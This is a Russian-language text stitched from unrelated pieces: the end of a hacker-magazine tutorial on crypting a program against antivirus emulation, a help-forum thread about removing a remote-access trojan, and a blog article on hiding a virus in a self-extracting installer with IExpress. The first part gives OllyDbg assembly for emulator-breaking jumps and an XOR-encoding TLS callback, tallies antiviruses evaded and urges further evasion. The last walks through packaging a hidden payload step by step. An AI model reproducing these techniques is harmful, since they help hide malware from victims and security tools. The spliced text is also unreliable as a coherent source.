13147D23 SUB AH,AL; получаем разность значений
13147D25 XOR EBX,EBX; обнуляем EBX
13147D27 MOV BL,AH; перемещаем разность в EBX
13147D29 ADD EBX,13147C29; вычисляем адрес перехода
13147D2F JMP EBX; переходим по вычисленному адресу

Наверное, ты уже догадался, что адрес, который помещается в EBX, должен быть равен 13147C30. Однако, как показывает практика, не все идеально, особенно если речь идет об эмуляции кода. Благодаря несложным манипуляциям мы получаем великолепный результат: эмуляция Dr. Web разваливается на глазах! :). Вместе с ним отступают и еще два антивиря – это не может не радовать нашу душу. Всего 22 из 43 антивирусов продолжают подозревать нашу программу в чем-то нехорошем.

Последние штрихи

Думаю, что ты читал о TLS (Thread Local Storage)-callback-функциях достаточно (в частности, Крис посвятил TLS отдельную статью, опубликованную в одном из номеров нашего журнала), однако напомню о том, что они собой представляют, опуская описание широчайших возможностей их использования. Callback-функции выполняются непосредственно после инициализации программы загрузчиком, еще до остановки на OEP. Информация обо всех таких функциях содержится в специальной таблице, а адрес таблицы, в свою очередь, извлекается загрузчиком из специального поля PE-заголовка.

Попробуем создать таблицу TLS-функций для нашей программы (к написанию кода callback-функции приступим чуть позже). Структура ее, имеющая размер шестнадцати байт, проста. Первые два двойных слова используются для записи адресов начала и конца выделяемой для потока области данных. В качестве этих значений мы выберем два произвольных адреса (13147d80 и 13147d90), лежащих в пределах области выравнивания секции .text, оставленной компилятором. Оставшиеся два DWORD’а – это, соответственно, поле для записи индекса, возвращаемого callback-функцией (13147d96), и адрес таблицы callback-функций (13147da0).

Так выглядит код получившейся TLS-таблицы: 80 7d 14 13 90 7d 14 13 96 7d 14 13 a0 7d 14 13. Разместим его по адресу 13147d5d при помощи отладчика (запомним адрес – он нам еще понадобится).

Приступим к созданию кода таблицы TLS-функций.

По адресу 13147db0 разместим саму функцию, шифрующую все наши ранее созданные крипторы, а также код по второму кругу:

13147DB0 PUSHAD; сохраняем регистры в стек
13147DB1 MOV ECX,6D2F; устанавливаем счетчик
13147DB6 MOV DH,BYTE PTR DS:[ECX+13141000];помещаем в DH текущий байт секции
13147DBC XOR DH,CL; выполняем логическое сложение с младшим байтом счетчика
13147DBE MOV BYTE PTR DS:[ECX+13141000],DH; помещаем закодированный байт в память
13147DC4 LOOPD SHORT 13147DB6; повторяем цикл
13147DC6 POPAD; восстанавливаем регистры
13147DC7 RETN; возвращаемся из функции

Полагаю, ты помнишь, что после внесения кода в файл необходимо выполнить его, чтобы он закодировал инструкции, после чего следует сохранить измененный файл прямо из-под OllyDbg.

Я намерено не стал доводить нашу криптовку до победного конца. Придумывай новые методы обмана, внедряй в наш образец и таким образом обманывай новые антивирусы. Удачи в благих делах!

Каким то образом попал в удаленный доступ к человеку, все скачанные файлы или взяты с оф сайтов, или проверены вирустоталом, причины так и не выяснил. Сканирование (полное) делал, в безопасном режиме найти пробовал, систему (вин10) тоже переставлял, не помогло. Как можно избавиться от т.н. крысы?

(доступ вплоть до просмотра экрана / вебкамеры / микрофона, запуска програм, отключение (на уровне роутера) интернета, и тд. В приложениях и играх производительность упала в 1.5-2 раза.)
Заранее спасибо за помощь.

The Minish Cap completed



MacOS 10.15 Catalina на Macbook Pro 13" 2015 ⌘ : Intel Core i5 2,7 GHz / 8 GB RAM

Службы: разрешена потенциально опасная служба TermService (Службы удаленных рабочих столов)

Безопасность: Разрешена отправка приглашений удаленному помощнику

Требуется вам эта служба? Если нет, то откройте:

AVZ - Файл - Мастер поиска и устранения проблем - Оставьте настройки по умолчанию и нажмите Пуск. Исправьте те пункты, которыми вы не пользуетесь.

Службы: разрешена потенциально опасная служба TermService (Службы удаленных рабочих столов)

Безопасность: Разрешена отправка приглашений удаленному помощнику

Требуется вам эта служба? Если нет, то откройте:

AVZ - Файл - Мастер поиска и устранения проблем - Оставьте настройки по умолчанию и нажмите Пуск. Исправьте те пункты, которыми вы не пользуетесь.

MBAM деинсталируйте. Ничего вирусного не видно.

MBAM деинсталируйте. Ничего вирусного не видно.

Что такое мвам?
Производительность не изменилась(



Производительность не изменилась

Производительность не изменилась

да, в безопасном все отлично

Выполните загрузку в безопасном режиме. Если проблема не наблюдается, причина кроется в сторонней службе или программе. В этом случае выполните следующие действия.
Пуск - Поиск / Выполнить - msconfig - ОК и перейдите на вкладку Службы. Установите флажок Не отображать службы Microsoft.
Отключите все отображенные службы (имеются в виду только не принадлежащие Microsoft) и перезагрузитесь. Если проблема не появляется, причина в одной из этих служб.

Далее действуйте методом "половинного деления". Включите половину служб и снова перезагрузитесь. Если проблема не появляется, причина в оставшихся отключенных службах. Если проблема воспроизводится, причина во включенных службах - отключите половину из них и снова перезагрузитесь. Действуя таким образом, вы сможете выявить службу, являющуюся причиной проблемы, и определить программу, которой она принадлежит.
Аналогичным образом можно поступить на вкладке Автозагрузка.
Здесь тоже не следует отключать пункты, производителем которых является Microsoft. Отключение программ других производителей может привести к неправильной работе устройств в том случае, если вы отключите их драйверы. Поэтому программы производителей вашего аппаратного обеспечения (например, Intel) лучше не отключать, либо отключать в самую последнюю очередь.

Далее можно порекомендовать лишь обновление программы до последней версии или ее удаление.

Подробнее об этой диагностике читайте здесь.

Как спрятать вирус .

Всем привет, в этой статье я изложу основные действия, которые предпринимает хакер, для того, чтобы спрятать вирус . Первое, что напрашивается – это спрятать вирус в какую-то программу, чтобы тот запустился вместе с установочным файлом программы. Так сказать, под шумок. Пользователь ведь всё равно что-то устанавливает – авось и не заметит… Вот почему, кстати, крайне важно проверять все файлы без исключения, которые попадают на компьютер или ноутбук.

С помощью этой техники можно спрятать вирус , но обычно хакеры подсовывают в упаковку программы-шпионы, кейлоггеры, наблюдая за действиями клавиатуры, изображениями монитора и даже делая снимки с веб-камеры, которая, как вам кажется, в данный момент выключена.

Как спрятать вирус в программу?

Итак, задача взломщика – спрятать исполнительный файл вируса в другой исполнительный файл. Сделать это хакеру нужно незаметно от глаз пользователя. Так вот, спрятать вирус можно несколькими способами, для этого есть немало программ, но внутри Windows есть небольшая встроенная утилита, которая сама неплохо справляется с такой задачей. Причём не хуже платных аналогов. По опыту и немного забегая вперёд, скажу, что использование именно этого упаковщика даёт хакеру несколько неоспоримых преимуществ – утилита идёт с цифровой подписью Windows Genuine (понимающие о чём речь сейчас должны утвердительно кивнуть головой), а это очень важно при последующей распаковке файла. Да-да, та самая утилита IExpress. Она входит в сборку Windows с незапамятных времён и спроектирована для создания именно исполнительных файлов.


Для начала вызовем программу. Сочетание Win + R. Далее вводим команду iexpress

Если файл только что создаётся, можно сразу нажать на кнопку Next, так как по умолчанию выполнится команда Создать новый самораспаковывающийся файл. В следующем окне, которое спросит, что должно произойти после распаковки, делаем тоже самое, нажав на кнопку Next (выполнится команда Распаковать файлы и запустить как установку)





Следующее окно попросит назвать распаковывающийся файл:





Следующее окно о лицензии можно пропустить (но иногда хакеры вставляют и довольно объёмные чужие тексты о соблюдении прав на программное обеспечение: выглядит убедительно, тем более это никто читать-то не будет). Но мы для наглядности пропустим.

Следующее окно – важное. Оно-то и предлагает вам Создать список файлов, которые будут запакованы в файл. Хакер, как и простой производитель программ, может подкинуть туда пару рисунков или фотографий, чтобы спрятать вирус понадёжнее, и чтобы тот основательно потерялся среди прочих файлов. Я это не буду делать для быстроты эксперимента и позже укажу только два файла.



Всё, что вам нужно сделать, это указать расположение файлов. Среди них и можно спрятать вирус (один из файлов я так и назвал):



Следующее окно уточнит, что в списке является основной командой, а что – так… придаток. Хакер укажет сначала на вирус:



В следующем окне система спросит, прятать ли процесс установки от пользователя или показывать так или иначе. А зачем прятать – антивирус-то отключён! Оставляем прямо так:



Ещё не всё. Следующее окно попросит указать фразу, следующую за окончанием установки, или оставить запуск программы как есть. Выберите сами и нажмите Next.

Далее выбирается путь установки вируса по умолчанию, который будет предложен нерадивому пользователю (я выбрал прямо Рабочий стол). Но хакер обязательно выставит галочку в первом пункте (в окне справа напротив Hide File Extracting…):

Следующее окно тоже оставьте по умолчанию (Перезагрузка по усмотрению). Снова кнопка Next (Далее).



Осталось совсем немного. Нажмите в появляющихся окнах последовательно кнопку Далее и сюрприз от хакера готов.



Маленький недочёт: ярлык созданного файла будет иметь ярлык исполнительного файла от Microsoft. Его тоже можно будет сменить. Как сменить ярлык исполняемого файла можно прочитать в этой статье.

Читайте также: